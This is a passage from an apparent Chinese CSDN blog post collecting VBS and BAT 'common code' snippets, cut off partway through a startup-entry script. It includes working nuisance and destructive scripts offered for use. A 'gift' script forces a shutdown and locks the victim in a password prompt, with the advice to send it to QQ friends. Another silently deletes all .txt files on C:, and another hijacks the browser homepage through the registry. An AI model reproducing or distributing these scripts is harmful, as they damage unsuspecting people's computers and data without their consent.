vb+bat的种种常用代码大全（2020/2/27 #4版）

本文链接：https://blog.csdn.net/yale666111/article/details/104472934

这个博客分享了一系列关于VB和BAT的实用代码，包括VBS制作的礼物程序、创建桌面快捷方式、添加收藏夹网址、删除指定后缀文件、更改浏览器主页、添加启动项、自我复制到C盘、错误处理、打开网址、输入框创建文件、删除文件和文件夹，以及两个引起死机循环的BAT代码。此外，还展示了使文件关联混乱的BAT命令和一个不断按下F4的VBS脚本，以及一个清空D盘.exe程序的VBS代码。所有代码都有详细解析和使用说明。

摘要由CSDN通过智能技术生成

废话不多说，先看代码。
1.vbe类：礼物
---------------------------------------------分割线------------------------------------
Set shell=CreateObject(“WScript.Shell”)
shell.run “shutdown -s -t 60 -c 系统即将关闭.”,0
While InputBox(“请输入答案”,“请回答”)<>“123”
MsgBox “答案在心中…”,16+4096
Wend
shell.run “shutdown -a”,0
MsgBox “恭喜”,0,“恭喜”
-------------------------------------------分割线------------------------------------
解析：密码是123，16+4096让窗口在最顶层
使用：命名为：xxx.vbe，再发给QQ好友

2.vbs类：给桌面添加网址快捷方式
-------------------------------------------分割线------------------------------------
Set WshShell = WScript.CreateObject(“Wscript.Shell”)
strDesktop = WshShell.SpecialFolders(“Desktop”)
Set oShellLink = WshShell.CreateShortcut(strDesktop & “\百度.lnk”)
oShellLink.TargetPath = “http://www.baidu.com/”
oShellLink.Description = “百度一下”
oShellLink.IconLocation = “%ProgramFiles%\Internet Explorer\iexplore.exe, 0”
oShellLink.Save
-------------------------------------------分割线------------------------------------
解析：此代码中的"http://www.baidu.com/"是网址，(strDesktop & “\百度.lnk”)是把快捷方式放在桌面。
使用：命名为xxx.vbs

3.vbs类：给收藏夹添加网址
-------------------------------------------分割线------------------------------------
Const ADMINISTRATIVE_TOOLS = 6
Set objShell = CreateObject(“Shell.Application”)
Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)
Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject(“WScript.Shell”)
strDesktopFld = objFolderItem.Path
Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & “\百度.url”)
objURLShortcut.TargetPath = “http://www.baidu.com/”
objURLShortcut.Save
-------------------------------------------分割线------------------------------------
解析：此代码中的"http://www.baidu.com/"是网址(strDesktopFld & “\百度.url”)是把快捷方式放在收藏夹
使用：命名为xxx.vbs

4.vbs类：删除指定目录指定后缀文件
-------------------------------------------分割线------------------------------------
On Error Resume Next
Set fso = CreateObject(“Scripting.FileSystemObject”)
fso.DeleteFile “C:*.txt”, True
Set fso = Nothing
-------------------------------------------分割线------------------------------------
解析：C:*.txt是删除C盘的所有txt文件
使用：命名为xxx.vbs

5.vbs类：VBS改主页
-------------------------------------------分割线------------------------------------
Set oShell = CreateObject(“WScript.Shell”)
oShell.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,“http://www.baidu.com/”
-------------------------------------------分割线-------------------------------------
解析："http://www.baidu.com/"是要改的主页
使用：命名为xxx.vbs

6.vbs类：VBS加启动项
-------------------------------------------分割线-------------------------------------
Set oShell=CreateObject(“Wscript.Shell”)
oShell.RegWr